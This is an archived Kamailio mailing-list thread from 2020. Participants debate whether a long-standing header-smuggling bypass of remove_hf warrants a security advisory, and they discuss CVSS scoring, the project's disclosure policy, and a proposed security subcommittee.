voip system where the security of the whole relies on the ability to remove
(or only keep specific) custom sip headers, you will wake up one morning
realizing a bunch of people in Palestine made a gazillion calls over your
system to expensive destinations, bringing you to or over the edge of
bankruptcy.
Security should be multilayered, one header sneaking through should not
give any big problems.
From a security point of view, this could be called a 'normal' security
risk, I think. It's a bit more than low as you can do more than just get
some info, but it's not high, as you would need to have many other factors
going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net>et>:
One thought - we may have to separate security vulnerability reporting
from security advisory documents. I think in some cases, where a common use
of a product can lead to issues (but it is not clearly a bug that cause
crashes in our code) we may have to send out an advisory and publish it in
the same way. The problem with that is where the border is between just
doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many
years ago - a very common dialplan construct (that was documented in many
places) was indeed very dangerous. It wasn’t any code in asterisk that
caused the issue, just a common dialplan construct that existed in many,
many production systems. In the end, if I remember correctly, the project
issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can
cause Kamailio to crash or lock up by sending messages to the server
process.”
So there is some limitation regarding vulnerability criticality defined in
there. But of course (as I already mentioned), it might be improved to e.g.
use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev <sobomax(a)sippysoft.com>
*Sent:* Wednesday, September 2, 2020 9:15 PM
*To:* Henning Westerholt <hw(a)skalatan.de>
*Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com;
Olle E. Johansson <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>;
Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org>rg>;
jbrower(a)signalogic.com
*Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling
possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was
not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a
well-known and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level
with score 5.8. But this is of course again (at least somewhat) influenced
from my point of view to this bug.
Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet
defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page
with the current process might be a good starting point:
https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private,
feel free contact the management list.
Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says
plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on
the kamailio-business mailing list, sr-dev, sr-users as well as related
lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are
several security issues together in one release, they should be announced
together.
I might be missing something obvious, but there is no "if" or "maybe"
or
"it depends". Any module that has been 18 years with the project qualifies
to be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
23 Sep
23 Sep
4:39 a.m.
Sandro-
I think your blog post on Kamailio security is well organized and well
written. Thanks for your effort and time to both document and cover
several perspectives.
What I have seen in formalized open source -- e.g. groups run by Linux
Foundation -- is the community will form a security subcommittee,
which has some measure of independence. Typically a "Technical
Steering Committee" or similar, with elected members, will vet
proposals and settle on one, and then authorize the security
subcommittee to implement. Proposals typically include reporting
methods, rules and timeframes on publishing / updating advisories, and
keeping things up organized and up to date on a centralized website.
There may also be security review and sign-off on mods or bug fixes in
certain code areas. Something like Atlassian confluence, with Wiki
pages that can be updated at any time by both developers and users is
typical (it looks like the Kamailio wiki could be used). From what
I've seen, in larger, formalized open sources the general idea is to
be open and transparent about anything related to security --
proactive rather than reactive. It's reasonable to say that's because
sub groups working in one part of the community don't want to be
caught off guard by surprise vulnerabilities caused by another sub
group. They want to trust the larger community is looking out for them.
I'm not saying Kamailio needs to be, or should be, this formalized --
some of the LF groups are hundreds of membes wiwth dozens of active
projects -- but the "independent subcommittee" (or semi-independent)
concept might be something to consider.
-Jeff
Quoting Sandro Gauci <sandro(a)enablesecurity.com>om>:
I know I am waking up an old debate by replying to
this thread.
Deeply sorry :-)
Finally got around to writing up a blog post about this very
thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some
misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
The ToC:
* Introduction
* A bit of background before diving in
* Claim: this issue does not affect many organisations
* Claim: custom headers are only known to internal users
* Claim: if it’s an 18 year old bug, it can’t have been high risk
* Claim: this should have been found if people were doing proper testing
* Claim: infrequent advisories = project is not serious about security
* Claim: limited number of advisories = project is more secure
* Claim: if you’re serious about security, monitor the mailing lists
* Claim: security experts should decide what is a security vulnerability
* Discussion: when should the project publish an advisory?
* Discussion: educational security role
* Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437
Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Links:
------
[1] http://kamailio.org/
Well, you have defined one definitive line
between being stupid and
following some current practise :-)
I like to think we as a project have an educational role as
well. In this case explaining the bug we had and what it can cause.
We should definitely add a warning along the lines you write too
- relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere(a)gmail.com> wrote:
After 20 years in voip, my 2 cents on this,
if you succeed in creating a voip system where the security of the
whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch
of people in Palestine made a gazillion calls over your system to
expensive destinations, bringing you to or over the edge of
bankruptcy.
Security should be multilayered, one header sneaking
through should not give any big problems.
From a security point of view, this could be
called a 'normal' security risk, I think. It's a bit more than low
as you can do more than just get some info, but it's not high, as
you would need to have many other factors going wrong to get to a
successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E.
Johansson <oej(a)edvina.net>et>:
_____________________________________________________
___Kamailio (SER) - Users Mailing List___
___sr-users(a)lists.kamailio.org___
___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
One thought - we may have to separate security
vulnerability
reporting from security advisory documents. I think in some
cases, where a common use of a product can lead to issues (but it
is not clearly a bug that cause crashes in our code) we may have
to send out an advisory and publish it in the same way. The
problem with that is where the border is between just doing
stupid things like taking SQL statements from SIP headers and
issues like this that are harder to catch.
We had a long and hard discussion about this in the
Asterisk project many years ago - a very common dialplan
construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue,
just a common dialplan construct that existed in many, many
production systems. In the end, if I remember correctly, the
project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de> wrote:
>
> Hello Maxim,
> ___ ___
> ___have a look to the first sentence:___
> ____ ____
> ___“A security vulnerability is (for example)
> when a user of Kamailio can cause Kamailio to crash or lock up
> by sending messages to the server process.”___
> ____ ____
> ___So there is some limitation regarding
> vulnerability criticality defined in there. But of course (as I
> already mentioned), it might be improved to e.g. use CVSS
> scoring instead.___
> ____ ____
> ___Cheers,___
> ____ ____
> ___Henning___
> ____ ____
> ___FROM: Maxim Sobolev
> <sobomax(a)sippysoft.com>
> SENT: Wednesday, September 2, 2020 9:15 PM
> TO: Henning Westerholt <hw(a)skalatan.de>
> CC: Daniel-Constantin Mierla
> <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com; Olle E. Johansson
> <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>;
> Kamailio (SER) - Users Mailing List
> <sr-users(a)lists.kamailio.org>rg>; jbrower(a)signalogic.com
> SUBJECT: Re: [SR-Users] Kamailio vulnerable to header smuggling
> possible due to bypass of remove_hf___
>
> ____ ____
> ___On Wed, Sep
> 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de> wrote:___
>
>
>> ___Hello Maxim,___
>> ___ ___
>> ___thank you for the clarification, appreciated.___
>
> ____ ____
>
> ___No worries, hope to have a
> civilized discussion.___
>
> ___ ___
>
>> ___Just one clarification, my comment regarding the advisory
>> from 2018 was not meant as advertisement etc..___
>
> ____ ____
>
> ___Point taken, I dramatized
> of course to underline my point. ___
>
> ____ ____
>
>> ___One suggestion to objectify the whole discussion, there
>> exists a well-known and accepted metric for vulnerabilities:
>> CVSS [1]___
>> ___If I calculate the CVSS score for this
>> issue, it results in a medium level with score 5.8. But this is
>> of course again (at least somewhat) influenced from my point of
>> view to this bug.___
>> ___ ___
>> ___Some projects have a policy to only do a
>> security announcement for vulnerabilities with score high and
>> critical. For Kamailio this is not yet defined in a detailed
>> way, due to the size of the project and other factors.___
>> ___ ___
>> ___So, If people in this discussion (or
>> other people on the list) are interested in improving the
>> project security processes – this wiki page with the current
>> process might be a good starting
>> point:https://www.kamailio.org/wiki/security/policy___
>> ___ ___
>> ___Please suggest your improvements to the
>> existing process (preferable in a new discussion thread) on the
>> sr-dev list. If you want to do it in private, feel free contact
>> the management list.___
>
> ____ ____
>
> ___Well, first suggestion
> after having read it: to start actually following what's
> documented before any improvements are made. ;-) The policy says
> plain and simple (quote):___
>
> ____ ____
>
>> ___Publishing Security Vulnerabilities___
>
>> ___Kamailio will publish security vulnerabilities, including an
>> CVE ID, on the kamailio-business mailing list, sr-dev, sr-users
>> as well as related lists. The advisories will also be published
>> on the kamailio.org[1] web site. ___
>>
>> ___ ___
>>
>> ___CVE
>> entries should be created for vulnerabilities in the core and
>> major modules, for rarely used modules this is not necessary.
>> If there are several security issues together in one release,
>> they should be announced together. ___
>
> ___ ___
>
> ___I might be missing
> something obvious, but there is no "if" or "maybe" or "it
> depends". Any module that has been 18 years with the project
> qualifies to be a "major module" to me... ___
>
> ____ ____
>
> ___-Max___
_____________________________________________________
___Kamailio (SER) - Users Mailing List___
___sr-users(a)lists.kamailio.org___
___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
_____________________________________________________
___Kamailio (SER) - Users Mailing List___
___sr-users(a)lists.kamailio.org___
___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
1322
days inactive
1344
days old
33 comments
10 participants
participants (10)
-
Alex Balashov -
Daniel-Constantin Mierla -
davy van de moere -
Fred Posner -
Gerry | Rigatta -
Henning Westerholt -
jbrower＠signalogic.com -
Maxim Sobolev -
Olle E. Johansson -
Sandro Gauci